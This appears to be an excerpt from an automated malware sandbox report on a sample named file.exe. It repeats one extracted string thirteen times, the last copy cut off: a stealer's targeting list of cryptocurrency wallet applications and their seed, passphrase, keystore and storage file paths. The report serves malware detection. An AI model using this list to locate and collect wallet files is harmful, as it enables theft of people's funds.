Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia 